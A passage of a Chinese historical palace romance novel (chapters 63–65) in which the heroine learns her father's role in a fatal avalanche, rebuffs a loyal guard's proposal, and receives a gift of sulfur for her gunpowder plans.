小内侍们不敢让,他们只听大监吩咐。 正在相持间,冯秀亭赶过来,恭恭敬敬把姜菡萏请进去。 姜菡萏一进去就看到阿夜的身影,果然和她猜得一样,这家伙真的在这里! “阿夜快过来!” 阿夜有点遗憾地松手,承德帝发出剧烈的喘息声。 姜菡萏一把将阿夜拉到自己身边。 阿夜毫不反抗,顺从地站在她身边,目光温柔中透着一丝喜悦:“菡萏,我做到了,我炸了降仙台。” 他穿的是山卫的衣裳,应该是打晕了山卫之后混进降仙台。但这身衣裳已经破得不成样子,底下的肌肤除了明显因爆炸而受的灼伤,还有被野兽撕咬过后的伤势。 姜菡萏握住他的手,眼眶酸胀……他的手上全是血。 她早该想到的,寒鸦做不到的事他可以做到——他可以用兽奴的身份混进斗兽场,而斗兽场已经是承德帝的寝宫范围。 可是这样,他要吃很多很多苦。 “是,”姜菡萏的声音微微颤抖,努力露出一个充满鼓励的微笑,“阿夜好厉害,走,我们先回家……” 另一旁,冯秀亭不慌不忙地上前伺候,拍背、顺气、喂水,每一个动作都很细致,但也都很不慌不忙,语调都慢悠悠的:“陛下,慢慢喝,别呛着。” 承德帝眼睛发红,神思更加混乱,猛地挥舞双手,要赶走方才扼住他咽喉的恶鬼:“走,走开!都怪你……都是你找上的……我只想吃喝玩乐,是你告诉我,当了皇帝,全天下的人都会供着我吃喝玩乐……是你……是你骗我吃金丹……你说吃了能延年益寿,精力无限……都是骗朕的,都是骗朕的!朕当初就不该答应你,那场雪崩根本不是你请来的神仙助力,那分明是神罚啊!” 姜菡萏已经牵着阿夜的手准备走了,忽然被那两个字钉在原地——雪崩! “什么雪崩?”她喃喃问。 “回小姐,”冯秀亭道,“陛下说的应该是景平三年的那场雪崩。” 景平三年……十五年前让她父母和先皇先皇后葬身莲花台的那场雪崩! 姜菡萏脸色发白 :“那场雪崩……是谁请来的神仙助力?” “老奴自小伴着陛下长大,可自从虞仙芝进了王府,陛下的事情,老奴就不清楚了。”冯秀亭轻言细语地道,“老奴只知道,景平三年的腊月冬猎,陛下去了西山围猎,一直与陛下形影不离的虞仙芝却消失了三天,第四天傍晚才回到围场。那时先帝驾崩的消息已经传开,敬王带着文武百官来迎陛下入宫,登基为帝。” “当时老奴也在西山,雪崩之时,山顶似有巨响传来。当时人人都以为是雪崩发出的响动,但今日亲眼看到降仙台爆炸,老奴回想起来,觉得两者甚是相似。” 姜菡萏心头突突直跳。雪崩……如果当年真的有一场爆炸,的确足以引发雪崩。 那么,当年的雪崩就不是天灾,而是人祸! 可是,若那个时候虞仙芝手里就有火药,为何这么多年还一直在苦苦寻找配方? 而且,西山围猎时,诸峰皆禁,每一处都有羽林卫把守。 莲花台上,更是有皇帝、皇后、太子、姜家家主和夫人在,世间地位最为尊崇的人齐聚一处,其防守之严密,绝不下于降仙台。虞仙芝当时只是个名不见经传的道士,承德帝本人也不过是个无权无职的闲散王爷,是如何能让虞仙芝不惊动任何人、顺利上山的? 冯秀亭叹息:“这正是老奴想不通的地方。若真是人力所为,谁才会有这份力?谁才是虞仙芝身后的人?” 能回答这个问题的只有承德帝,可是承德帝目光涣散,面露疯狂,像是陷进一团迷梦中,根本听不到她在说什么,双手掐着一团空气,面色狰狞:“虞仙芝!是你害了我!是你害了我!早知如此,我根本不想当这个皇帝!” “他怎么害了你?如果你不是你点头,他能上得了西山?”姜菡萏趁他糊涂,厉声大喝,“风庆阳,若不是你帮着虞仙芝上西山,先皇与先皇后,还有姜家家主夫妇根本就不会死。现在满朝文武和天下百姓都知道了你的罪行,你要以死谢罪!” 承德帝脸色大变:“我不是,我不没有!我什么也没有做!是虞仙芝,都是虞仙芝做的,是他自己上的西山,是他弄的雪崩,跟我没有关系!我不要死,不要死——” 他惊恐到了极点,说到最后,眼睛发直,竟是晕了过去。 姜菡萏急剧喘息,真相就在眼前,她却没办法再逼问出来。 忽地,她想到一个人:“安贵妃……安贵妃一定知道当初是怎么回事!” 冯秀亭叹息:“安贵妃已在狱中自尽了。” 姜菡萏:“……” 那么,也许还有一个人,那就是景氏。 * 羽林卫灰头土脸地回来向敬王覆命。 他们一番追拿,在大街上闹得鸡飞狗跳,最终抓回来的只有庆王妃和她的宫人们。 风曜不知何时早已逃之夭夭。 姜蘅芷双手被缚在身后,头发凌乱,脸上沾着不少尘土,无论是当贤王妃,还是在姜家做小姐,她的人生从来没有这样狼狈过,但心情却从来没有这么痛快过。 风曜走了……她帮他逃走的。 她以为他会带她一起走,可是那样他就无法脱身了……曜哥哥就是这样,自小杀伐决断,绝不拖泥带水。这就是她为自己选中的男人。 敬王自是恨恼,道:“姜氏,本王念你是个无知妇人,你只要将风曜的去向老实交待,本王便对你既往不咎。” 姜蘅芷跪在地上,低着头,没有说话。 他走的时候,唤她为“我的王妃。” 那四个字仿佛还在耳边,她在心中反复重温。 是的,这是她自己的选择,她心甘情愿。她不怪他。她就是喜欢这样的他……是的,就是这样。 敬王大怒,他不欲为难女子,但不知悔改者例外。他吩咐羽林卫把姜蘅芷送去交给太皇太后,审问后宫中人,太皇太后比他有法子。 就在姜蘅芷被押往慈宁宫的路上,景氏从后面追上来:“芷儿,芷儿!放开我的芷儿!” 自从姜蘅芷大婚,景氏便跟着一起住进了宫中,说是为了陪伴女儿。 母亲偶尔入宫伴住是常有之事,但住进来后就没有再离开,到底不大合规矩。 不过当时安贵妃隆宠正盛,景氏又低头做人,太皇太后便睁一只眼闭一只眼,旁人自然更加不会说半个“不”字,宫人们都对景氏恭恭敬敬的,景氏过得可比在姜家时舒心多了。 只是现在安贵妃已死,风曜出逃,贤王妃都成了阶下囚,她这个王妃母亲的名头自然也不再好使,羽林卫不容她纠缠,把她一起捆了,送往慈宁宫。 姜菡萏赶到慈宁宫的时候,太皇太后正命薛尚宫审问姜蘅芷母女二人。 姜菡萏连忙求太皇太后恩准,把两人分开审问,姜蘅芷交给薛尚宫,景氏交给她。 姜蘅芷原本一直静静地,无论旁人说什么都没有反应,此时忽然抬起来,死盯着姜菡萏:“你想干什么?娘,你不许答她任何问题,一个字都不许答!” 景氏惊慌,她一慌,这些日子养尊处优养出来的精神气便一下子消散,又重回那段姜蘅芷被送去修行的日子,目光散乱,呼吸急促,只知道点头。 姜菡萏知道不能让姜蘅芷多言,立刻道:“姐姐,听说你一力救了风曜出宫,他却扔下你自己跑了,姐姐还愿意为他隐瞒去向,可真是贤惠。” “我本是要救他的,只要他能逃,我做什么都愿意!”姜蘅芷嘶声道,“他越是不顾儿女私情,我便越是心甘情愿!只有那样的男人才配我付出一切!” “是吗?”姜菡萏凉凉地开口,“既然心甘情愿,干嘛叫得这么大声呢?” 姜蘅芷像是被一只无形的大手扼住咽喉,僵住。 姜菡萏让人带走景氏,走出殿外,姜蘅芷疯了似的声音从外面传来:“男人都是一个样!在权势和性命面前,女人算什么?!就算当时是你和他在一起,你也一样会被抛下!姜菡萏,你没什么了不起,不过和我一样!一旦没有用,就会被男人弃若敝屣!” 姜菡萏没有理会,阿夜忽然开口道:“不会的。我永远不会抛下菡萏。” “我知道。”姜菡萏回头看着他,他就在离她半步的距离,一回头就可以看见,“阿夜比那个人强一百倍。” 景氏被带进偏殿的一间宫室,就在正殿的斜对面,景氏不断回头,看见姜蘅芷跪在地上,被薛尚宫甩了一记耳光,仆倒在地。 景氏痛苦地尖叫了一声。 “想救你的女儿吗?”姜菡萏道,“只要你乖乖答话,我可以保下你女儿的性命。” 景氏惊惶地抬头,脸上一片混乱。 “不信是吗?”姜菡萏让许南风去正殿传话,很快,薛尚宫扶起姜蘅芷,并给姜蘅芷松绑。 姜菡萏低声道:“但若是你不听话,姜蘅芷就会死。” “我听,我听,”景氏急忙道,“只要你能救芷儿,我一定乖乖答话。” 姜菡萏:“你当初是怎么嫁给我父亲的?” 景氏瑟缩一下,咬紧了嘴唇。 而正殿那边,薛尚宫拿出一条粗粗的长鞭。 景氏脸色大变,急急道:“是、是大哥的安排!” “大哥是谁?” “虞、虞阿六。” 虞阿六是市井混混出身,安招娣和小丫是逃荒的孤儿。 三个人无父无父,在小巷中讨生活。 虞阿六比她们都大,是大哥。 安招娣是姐姐,小丫是妹妹。 三个人经常吃不饱,好在虞阿六就一手偷东西的绝活,勉强能维持三个人的性命。 有一天,虞阿六偷到一个老道士身上。老道士背着一只沉甸甸的包袱,虞阿六说,那里面一定有很多铜板,于是小丫和安招娣两个人装着玩耍样子撞在老道士身上,再装假跌倒说老道士推了她们,引起混乱后,虞阿六趁乱偷走了老道士的包袱。 包袱果然很沉,但里面并没有铜钱,只有两只陶罐。 虞阿六很生气,随手把陶罐扔进远处的火堆。 然后,一声巨响改变了三个人的命运。 老道士循着响声找过来,带走了虞阿六。 “……我以为我们从此没有大哥了,可是没过两年,大哥就回来了,大哥说他把老道士的本事都学完了,便杀了老道士,带我们去京城过好日子。” 景氏喃喃低语,“后来他才知道,老道士留了一手,给他的配方是错的。但他靠着学样的幻术本事,混进了王府,还把姐姐嫁给了王爷。我当时好担心王爷发现姐姐已经有了身孕。” “还好,那个王爷傻乎乎的,以为大哥是天上下来的仙人,什么事都听大哥的。我们过上了以前想也不敢想的好日子,很快,姐姐生下了阿曜,大哥说,他只是一个混混,但他的儿子将会成为天下的主人。” “姐姐和我都觉得他想太多了。” “直到有一天,有个人来找大哥,说要谈一桩生意。” “他们关在房间里谈了很久,出来之后,大哥说,让我嫁给他。” 姜菡萏心中发紧:“他是我父亲?” “对,”景氏用一种梦呓般的语气开口,“我本来只是想吃香的喝辣的,穿衣裳打首饰,滋滋润润过一世。我们自己骗人久了,都觉得你父 亲是骗人的,他才不可能是什么姜家家主。” 姜菡萏的心直往下沉。 不,一定是父亲。 连寒鸦都无法解开的谜团解开了——抹去景氏身世来历的人,就是她的父亲。只有姜家家主能做到这件事。 “我没想到我竟然能嫁给姜家家主,很快还生了个女儿。我一直没想明白这是怎么回事,很长一段时间里,我都觉得是你爹和那个王爷一样傻乎乎,上了大哥的当。” “可是再后来,我听到他们在商量西山雪崩的事。你父亲说,那个陶罐里的东西本是他向一名游方道士订下的,不曾想却落进了大哥的手中。他说那个东西可以改变天下,只要把它放在雪山顶上来一次爆炸,天下就会姓姜,我们就会有享不尽的荣华富贵。” 宫室内静到了极点,姜菡萏的呼吸都要停了:“不……你撒谎,如果主谋是我父亲,那他自己怎么会去莲花台?!” “我不知道。”景氏后退一步,无助摇头,“我后来听大哥说过,好像那是计划的一部分,如果你父亲不去,先帝可能会起疑,总之,他是以身为饵,先去莲花台,然后到了约定的时间,再以借口走开……对了,那时候你不是生病了吗?那应该就是你父亲安排的,他们借口放心不下你,就可以先走一步了。” “你胡说!”姜菡萏不愿相信,“你是说我父亲安排了这一切,却把自己和我母亲的命赔了进去?!” “我没有!我要救芷儿,我不会胡说,事实就是如此,因为大哥没有按照约定,提前引爆了那只陶罐,把所有人都埋在了里面。” “大哥说,如果是姜家得到帝位,我们都会被灭口。但如果是王爷得到帝位,我们就能一直荣华富贵,而且,他要让阿曜成为天下的主人,只有王爷登基,这一切才有可能。” “现在,大哥死了,姐姐死了,阿曜变成了逃犯……我以前不相信世上有报应,可现在信了……小姐,可报应报在我们身上就好了,芷儿她什么也没做啊!小姐,你什么都说了,你一定要救救芷儿!” 姜菡萏浑浑噩噩走出宫室。 庭中阳光大亮,据说世间阳气最盛的一天,她却感觉到了阴森刻骨的寒气。 她不愿相信,可也知道景氏已经没有必要再撒谎。 这应该就是全部的真相。 阿夜就在门外,看着姜菡萏脚步虚浮,上前一步扶住她。 “阿夜,你听到了吧?”姜菡萏喃喃道,“原来是这么一回事……原来是我父亲……” 原来是姜家为了更大的权势害死了先帝,给大央带来了乱世,给百姓带来了苦难。 阿夜沉默地扶着姜菡萏,他不会说什么安慰的话,只是道:“他已经死了。” 姜菡萏唯一感到庆幸的是,许南风在对面正殿,许南珠则去了御药房找药——她准备了治烫伤的药,却没有做准备治咬伤的药。 “今天这屋子里面的话,你绝对不能告诉阿风和阿珠,知道吗?不,你不能告诉任何人,好吗?” 阿夜点头,甚至有点满意:“好,只有我知道,许南风不会知道。” * 这件事情,姜菡萏没有瞒太皇太后。 太皇太后知道后,沉默良久,起身去佛前拈了一炷香。 香气袅袅中,太皇太后低声道:“是我们姜家欠风家的。菡萏,你今日做得很好,只是这件事情,以后就烂在肚子里吧,连你哥哥面前也不要提起。他那个人,心里藏不住事。” 姜菡萏点点头。 兑现了承诺,姜蘅芷保住了性命,和景氏被送回寝殿,囚禁起来。 等到许南珠给阿夜上完药,暮色已经四合,太皇太后让她宿在宫中。姜菡萏摇摇头,她现在只想回家睡上一觉,然后起程回梁州。 姜祯平日里养尊处优的,今日被敬王抓着忙上忙下,也快累瘫了,和妹妹汇合之后,连说话的力气都没有。 一行人默默往宫外走,经过一处甬道时,阿夜站住脚,望向某个方向。 姜菡萏顺着他的视线望过去,心里打了个突。 那是承德帝的寝宫。 此时阿夜开口:“菡萏,我要杀了他。” 这话没头没尾,但大家顺着他的视线一望,所有人都吓得一动不动。 “我知道你恨他,”姜菡萏道,“是他害得你一身是伤,你要找他报仇天经地义,但是,能不能缓一缓,他现在还不能死。” 现在大央摇摇欲坠,皇帝暴毙,那些在暗处野心勃勃的有心人就会揭竿而起。 “胡说八道什么?要不要命?走,快回家。” 姜祯急得不行——妹,你什么意思?现在还不能死,难道后面就可以让阿夜弑君吗? 很可惜,他的声音经常被阿夜置若罔闻。 阿夜收回视线,望向姜菡萏:“我不想等。在狼群中,杀了狼王可以成为新的王,在人群中,杀了皇帝,兵力最强的人可以成为新的皇帝。” 所有人瞠目结舌,不敢相信自己的耳朵。 姜菡萏也震惊地发现,向来在她面前乖顺清澈的阿夜眼中有汹涌的欲望,眸子在夜色中隐隐有着幽深的光,里面有不顾一切的狂热:“菡萏,我要当皇帝,我要你嫁给我。” 姜菡萏呆在原地,片刻后,她跳起来捂上阿夜的嘴。 第64章 第64章菡萏,你不能这么对我…… 阿夜先是嗅到一阵甜馥的玫瑰香气,然后就感觉到姜菡萏柔软的指腹和掌心。 他从斗兽场逃出来一身狼藉,哪怕是在她最失落的时候也强忍着没有去碰触她,只此仿佛是老天爷听见了他的心愿,血液全部朝她手掌碰到的肌肤涌去。 “胡说八道什么?快回家!” 姜菡萏咬牙道。 阿夜点点头,一句话也没有多说。 “……” 姜祯看着阿夜乖乖的背影,有点怀疑人生。 他刚才不也是这么说的吗? 许南珠跟上姜菡萏的脚步,却发现许南风在原地出神。 “阿风,不用担心。我瞧小姐的意思,不会答应他。”许南珠道,“他自小在兽群中长大,有什么便说什么,不知道自己在痴心妄想。” “不是……”许南风的语气有几分惆怅,“我只是有点羡慕他,可以光明正大说出心里话。” 刚到梁州的时候还是少年心性,只是单纯地为姜菡萏待他好而欣喜不已,却忘了,只有皇帝才能娶姜家嫡女。 连阿夜都知道的事,他却不敢深思。 因为一旦深思,所有的梦想都会变成狂想。 “姐姐,除了当皇帝,还有什么法子能和小姐在一起吗?” “有。”许南珠道,“你们朝夕相处,情愫暗生,小姐自己要嫁你,旁人也拦不住。” 许南风头一回在姐姐的主意前沉默了。 可他只是小小校尉……如何配得上金枝玉叶? * 所有人都把阿夜的大逆不道之言当成了不谙世事的戏言。 回到姜家,姜祯把妹妹叫到一旁,低声道:“他这次着实有功,咱们厚厚地给他赏赐。现在陛下人已经糊涂了,没有谁再惦记他兽奴的身份,我想个办法给他弄副官身,你早早把他打发走。这家伙口没遮拦,留在京城,早晚惹祸。” 姜菡萏“哦”了一声,没有说是,也没有说不是。 阿夜走近。 他高大的身影在夜色中格外具有压迫力,姜祯摸了摸鼻子,若无其事地走 了。 “我不回庆州。” 姜祯自以为的耳语根本没有瞒过阿夜野兽般的听觉,他道,“我要留在京城,和你在一起。” 姜菡萏:“……” 只有她知道,阿夜是认真的。 而阿夜一旦认真,便将是百折不回,一往无前。 他说这话的时候,眼神和在宫中很像——同样的坚定、同样的灼热。 夜晚的风有几分清凉,但姜菡萏的心却在发烫。 她无法分辨自己到底是喜是愁,一面头疼,一面却忍不住隐隐开心。 “跟我来。” 姜菡萏带着阿夜回到菡萏院。 阿夜很自觉地准备在窗下守夜,姜菡萏却让苏妈妈和侍女都退下,向阿夜道:“进来,我有话跟你说。” 时隔多日,阿夜踏进这间闺房,记忆瞬间被唤醒。那年她生辰,他杀了段璋,被高手追杀,为了帮他遮掩行藏,她让他上床躲避。 那个时候他浑身僵硬,连呼吸都要停止,印记如此深刻,只要瞧那牙床一眼,眼前心上便全是她当时的模样。 头皮披散、只穿寝衣,脚背白如羊脂玉雕,脚趾甲如同一片片淡粉色的花瓣…… “在梁州的时候我曾经告诉过你,我只能嫁给皇帝。可是这皇帝并非人人都可以当的,你不姓风……” 姜菡萏好不容易酝酿出了开头,就见阿夜沉默地垂着头,耳朵却肉眼可见地开始发红。 姜菡萏迅速打量自己,并无不妥之处:“阿夜,你在听我说话吗?” “在的。”阿夜声音低沉。 “那你好端端脸红什么?” 阿夜没有回答,耳根却红得越发厉害了。 姜菡萏本想做一番庄严的长谈,屋内的气氛却莫名被他带歪了,她也有些不自在,有点羞,又有点恼:“你抬起头来,好好看着我说话。” 阿夜抬头,眸子灿若晨星,目光深深,好像要用眼神将她拉进漩涡。 姜菡萏下意识闪开了视线,然后才意识到这样下去不行,她努力将视线挪回来,不敢直视他的眼睛,只盯着他的眉心,认真道:“就如你所说,在人群中兵力最强的人可以做皇帝,但要比出谁强谁弱,势必要开战。一旦开战,百姓就要流离失所,天下必定大乱。阿夜,我养府兵正是为了天下不起战事,你不能让我失望。” “而且,风家皇位稳固,阿明是名正言顺的太子,你可以杀了皇帝,难道你还能杀了阿明吗?若果然你成了这样的乱臣贼子,你觉得我还会嫁给你吗?” 阿夜皱了皱眉:“你只能嫁给皇帝,却不想让我当皇帝,菡萏,你不想和我做夫妻吗?” 明明一句“不想”已经到了喉头,姜菡萏却不知为何说不出口。她低声道:“阿夜,我是死过一回的人,我重活一次,不是为了嫁给谁做夫妻来的。拯救天下苍生的责任太大,我一个人背不起,可是,若能以一己之力将苍生所受的痛苦削减几分,那么我便会觉得,自己这么久以来的努力没有白费。” “至于这些情情爱爱,我从前便没有,以后也不想。所以,我只会嫁给风家的皇帝,以保重风家的江山,我不可能嫁给你的,你不要再起这样的念头了。” 阿夜认真地听着她的话,眼睛里的光亮一点一点熄灭下去:“真的不行吗?” 姜菡萏望着他,心里有一种奇怪的感觉,像悲伤,又像是辛酸,但更多的还是决绝。 从重生醒来那一刻起,她就知道自己想要的是什么。 阿夜……是一个意外。 “真的不行。”姜菡萏清晰地道,“但是阿夜,你永远是我最信任的人,永远都可以陪在我的身边。” “以一个侍卫身份?”阿夜声音很低沉,目光却慢慢变得锋利起来,他踏上前一步,“永远只能落后你半步的距离,永远都不能和你并肩站立,更不能拥抱你、亲吻你?” 姜菡萏不由自主地后退了一步,跌坐在床上。 “而别人则可以和你一直牵手到老,儿孙满堂,连死后都能葬在一处,甚至还能相约来世?” 阿夜俯下身,捉住姜菡萏的肩,他宽阔的肩背挡住了七宝树灯的光芒,在姜菡萏身上投下一片浓重的暗影。 这是姜菡萏第一次体会到来自阿夜的威压,这一刻她终于理解了为什么有些人连在阿夜面前抬头的勇气都没有。 这样的阿夜仿佛从地狱里爬出来的修罗,手上只要轻轻一用力,她的肩胛骨就会被捏碎。 “不可能,菡萏,你不能这样对我……你不能嫁给别人……”阿夜的声音哽咽中带着喘息。 光是想象,他就要疯了。 真想咬死她,吃掉她,让她变成他身体的一部分——野兽最爱的是自己的猎物,血肉交融,永远不会再分开。 “阿夜,疼……”姜菡萏试图阻止他,可她的力气在他面前太过弱小,根本无法撼动他分毫。 他杀气腾腾地逼近她,近得仿佛要一口把她吞下去。 “放开我!”姜菡萏尖叫。 “小姐!”苏妈妈等人破门而入,都被这一幕惊呆了,侍女们一时不知如何是好,只知道尖叫“来人”,苏妈妈却是操起鸡毛掸子,疯狂向阿夜抽去,“我就知道你这小畜牲没安好心!反了天了!” 苏妈妈的鸡毛掸子对阿夜来说就和挠痒似的,但阿夜还是停下了动作,他闻到了血腥气,不是他的,是菡萏的。 灵敏的鼻子一下子找到血腥气的源头,她的手指不知被什么东西划破过,伤口本来已经开始收敛,这一下胡乱挣扎,又沁出血珠,沾到他胸前裹着的纱布上。 “谁伤的?”阿夜声音里带着杀气。 这样的阿夜无疑很吓人,但姜菡萏却感觉到他的理智终于回来了,不再像方才那样失控。 “你!”她咬了咬牙,没好气道,“我以为你死在了降仙台里,刨你的时候弄伤的。” 阿夜呆了一下。 然后,就像鹰收敛了张扬的羽翼,像狼放下了张开的毛发,他安静下来,低下头,轻轻将她那根手指含进口中,为她舔去那颗殷红的血珠。 湿润湿热的触感从指尖传遍全身,姜菡萏只觉得半边身子都麻了,想收回手,却被握在阿夜手里纹丝不动。 “你、你放开我。”她发现她的舌头开始打结。 阿夜握着她的手,良久良久,像是终于战胜体内强烈的渴望,终于松了手。 然后熟门熟路地在抽屉中找到金创药——这本是她给他准备的。 苏妈妈打得累了,叉着腰在一边喘息,一面骂骂咧咧,一面帮忙找到纱布。 姜菡萏想说这点小伤口不用上药,血一会儿就不流了,但看阿夜恢复了以往的乖顺,她索性小题大做,在上药的时候不停吸气——虽然确实也是挺疼的。 在阿夜心中,她本就是个一碰就碎的豆腐人儿,她每吸一下气,他的手就轻上几分,到最后几乎无法完成包扎。 “没用的东西,闪一边去。”苏妈妈夺过纱布,开始包扎。 姜菡萏暗暗替苏妈妈担了一把汗。 阿夜收起爪子是一只乖顺大狗,伸出爪子,就是狼王。 但阿夜从始至终没有反驳一句,静静站在一旁,看着苏妈妈为姜菡萏包扎。 巡逻的府兵被侍女们喊来,站在门外只见屋内一片安静,什么事也没有发生,一时不敢进来。 姜菡萏垂着眼睛,看上去眼皮也没有多抬一下,实则是掩饰自己剧烈的心跳,她还没有想好该拿阿夜怎么办。 那根身负众望的手指终于被包扎好了。 苏妈妈也缓过了气,重整旗鼓准备把眼前这以下犯上的刁奴骂个狗血淋头。 可阿夜忽然跪下了。 他端端正正跪在姜菡萏面前,重重磕了一个头,然后起身离去。 整个过程干脆利落,绝无半点拖泥带水。 姜菡萏举着那根包成小萝卜似的手指头,差点儿想叫住他。 ……他这是什么意思? 第65章 第65章狼烟 仙人降下神罚,降仙台被毁,虞仙芝当场毙命,安贵妃自尽于狱中,风曜逃亡在外,承德帝陷入昏迷……这一连串的事情足以改变大央未来的走向,但对于京城的百姓来说,除了那声惊天动地的巨响引发的谈资外,日子并没有半点不同。 承德帝无法上朝,暂由太子监国,太皇太后垂帘,敬老王爷摄政。 姜是老的辣,太皇太后与敬老王爷不动声色地铲除风曜在朝中留下来的势力,又取缔了好几项新增加的杂税。 少一个挥霍无度的帝王,从朝廷到民间,所有人都感觉松了一口气。 只有那些因承德帝的宠爱而被提拔的官员瑟瑟发抖。 “小姐,我可是您这边的 啊!” 一大早,鹿长鸣在外书房里哭得稀里哗啦,“现在官职被革了,宅子也被收回去了,我辛辛苦苦这几年,一下又成了穷光蛋,我可怎么活啊小姐!” 姜菡萏连着几日都没睡好觉,脑仁隐隐作痛,看向顾晚章,示意他来把这麻烦事接过去。 顾晚章便开口道:“是谁在钱庄里存了十一万八千五百四十两银子?原来这也叫穷光蛋?” 鹿长鸣的哭泣一下子卡壳。 顾晚章继续道:“你在京城这么多年,难道没有人告诉你,所有的钱庄姜家都有份吗?” “……”鹿长鸣:“现在知道了……” “太皇太后要整顿朝纲,由弄臣之身而得高位的,你是头一个,肯定逃不过。但太皇太后知道你是小姐的人,所以你现在还没掉脑袋。”顾晚章道,“现在你有两个选择,一是去善堂打杂,以示悔过自新,洗心革面,到时候小姐好给你官职提拔你;二是守着你的十一万八千五百四十两银子做一名逍遥富翁,不管去哪里,小姐都可以给你开路引,还有可以送一份房产田契。” 鹿长鸣思索半日,道:“我想回宫。” 姜菡萏意外:“宫里已经用不上你了。” 一来是鹿长鸣表面上还是承德帝的人,在眼下的宫中显然讨不了好;二来皇宫已经在太皇太后的掌控之下,她不必再费神探听消息了。 “我知道,我还是想回去,就在海棠园当一名乐工也行。”鹿长鸣道,“海棠园不是在裁人吗?放出去那么多人,以后宫中宴乐都要有乐工,我的琵琶可是一绝,月例可以只要一半……不,不要也行!” “……” 姜菡萏只得答应了。 鹿长鸣心满意足地离去,看上去这一趟哭诉就是为了回宫当一名普通乐工。 “太皇太后以妨碍陛下静养为名,已经禁了宫中宴乐,他回宫去有什么用?难道想用同一招攀上新主子?可比起听曲,阿明宁愿爬树。” 姜菡萏着实想不通,鹿长鸣向来精明,为何偏偏突然犯蠢。 顾晚章望着鹿长鸣远去的背影,轻声道:“人就是这样,当他们遇见自己不配得到的东西,又疯狂想要得到,就会变得很奇怪。” “……”这话姜菡萏同样无法理解,她觉得顾晚章也有点奇怪。 他本是状元之材,又曾在翰林苑当差,是因为承德帝的缘故才被贬为姜家账房。 而今属于风曜的势力与属于承德帝的弄臣们都被清扫一空,朝廷正是用人之际,太皇太后亲口下了懿旨召回顾晚章,顾晚章却拒绝了。 “手上杂事太多,一时脱不开身。”这是顾晚章用的理由。 太后的懿旨下到姜家的时候,姜菡萏十分紧张。如果顾晚章真的回去当官,她这边的府兵、粮草、军械、善堂……这一大摊子怎么办? 太皇太后的使者前脚刚走,鹿长鸣就来哭诉,待鹿长鸣走了,姜菡萏才有时间以东家的身份劝了顾晚章几句,旁敲侧击说回去当官前程远大之类的。顾晚章便凝望着她:“小姐真的希望我回去吗?” 顾晚章一向斯文守礼,在她面前眼睛永远半垂,这是他难得的直视。 “……”姜菡萏闭上嘴,坚定地摇了摇头。 顾晚章原来有些紧绷的脸色舒缓了不少:“那么我便不回去。” “以你的才干,若是一直为我办差,确实是委屈了。”姜菡萏仔细想了想,认真道,“这样说,待过了明年九月,若是天下太平无事,你便可以慢慢把手里的事情交给底下人,回去好好当官。” 顾晚章问:“为何是明年九月?那时会有什么事吗?” 姜菡萏心道:自然有。明年就是永兴五年,九月京城会被叛军攻破,天下大乱。 但事情已经改变了太多,叛军首领汤博望也不见踪影,也许……一切都不会再发生了。 * 除了鹿长鸣和顾晚章,姜祯也变得很奇怪。 姜菡萏难得回家住,按照姜祯以往的习惯,早上起来第一件事就是往妹妹这里跑,帮妹妹挑衣裳和首饰,和侍女们商量当天给妹妹梳什么样式的头发,然后一起吃早饭,再想方设法带妹妹出门玩。 但这次回京之后,他每回出现时都将近正午,衣饰华美得像是要去赴宫中最盛的大筵席,并且通体薰香,精致到每一根荷包穗子。 而他要做的也只不过是和姜菡萏吃顿饭而已。 姜菡萏劝姜祯不必回来吃这顿饭——太皇太后有意让姜祯历事,姜祯很难再像从前一样轻松自在,常常在在宫里忙到深夜方归。 姜祯不听。 许南珠一直陪在姜菡萏身边,也在桌上用饭,笑道:“家主大人在宫中案牍劳烦,回家一趟才能有片刻闲暇,小姐又何必阻扰家主大人的小小乐趣?何况家主大人玉容天姿,锦衣华服,更添风采,亦增威仪。” 以往姜祯被夸,自是飘飘然春风满面,这次却是不发一声,只有面颊微红,背脊挺直,姿态越发庄重起来。第二天再来时,衣饰更加华贵,就差把蟒袍礼服都搬出来了。 姜菡萏道:“可是太皇太后有意肃清朝野上下的奢靡风气,宫中女眷都戴用通草做的花簪,不用金银,哥哥天天穿成七宝楼台去她老人家面前晃,岂不是找骂?” 姜祯:“不妨事,我入宫自会换官服,只有家里这么穿。” “……”姜菡萏,“……哥,你不累吗?” 姜祯笑而不语,面色红润,衣裳冠带换得越发勤快。 * 最奇怪的还是阿夜。 自从那日给姜菡萏磕了一个头,姜菡萏便很少看见阿夜。 朝廷罢免了一批风曜提拔的官员,也赦免了一批风曜通缉的罪犯,阿夜自然也在其中。 姜菡萏原想着,也许是阿夜重获自由,想要四处走走也是人之常情。 更何况她拒绝嫁给他,他心情自然不好,出去散散心也不错。 可后来才发现,阿夜并没有出去散心,他只是没有来找她,等到夜深之后,才会出现在她的窗外。 他悄无声息,夜半来,天明去,姜菡萏在初九那日的清晨,坐在妆台前梳妆时,忽然看见妆镜前多了一只小盒子,上面留着一封短信。 “菡萏: 生辰快乐。 阿夜敬上” 这是姜菡萏最安静的一个生辰,因为京城看似平静,其实是宫中将所有震荡都控制在朝堂上,尽力不波及到百姓,她身边的每一个人都为此忙到焦头烂额。 小盒子里是一块石头,淡黄色,有气味。 居然是一块硫磺石。 姜菡萏讶异,阿夜送她一块硫磺石做什么? 及至到了中午,顾晚章走来,脸上有难得的兴奋之色: “小姐,你是在那儿找到的硫磺石矿?” 姜菡萏:“我什么时候找到了硫磺矿?” “昨夜运抵梁州别院的,一万斤硫磺石。”顾晚章笑道,“若不是寻到了矿,哪里能买来这么多?何况账上并没有这笔支出,难不成是从天上掉下来的?” 姜菡萏看着小盒子里的石头恍然大悟,又惊又喜:“可不是天上掉下来的?” 她起身就想去找阿夜,猛地想起一件事:西山不就是有一座硫磺矿?虽是已经被挖空了,但说不定还有漏网之鱼。 她连忙告诉了顾晚章。 顾晚章立即派人去西山。虞仙芝死后,敬老王爷已经派羽林卫去清收通天观,同时收编山卫,西山现在定是人多眼杂,派去的人得小心谨慎。 姜菡萏把姜家找了一圈,也没有找着阿夜。 再派府兵出去,在京城找了一圈,还是没找着阿夜。 最后姜菡萏把暗卫都派出去了,依然没有寻到阿夜的影子。 寒鸦道:“那小子是属下带出来的,他若是有心躲避,暗卫找不着他。也许等过一阵子,他自己想通了便会现身了。” 姜菡萏也没有别的办法,只能如此。 还有……她拿到硫磺石太过高兴,忘记了她才拒绝过阿夜。这时候再去找阿夜,也许看到她,他会觉得伤心吧? 姜菡萏决定多给阿夜一点时间。 接下来的日子,朝中依旧忙碌,但局势稳定,百姓安乐。 大央似乎已经度过了一个难关。 姜菡萏放下心,打算回梁州别院,便去宫中向太皇太后辞行。 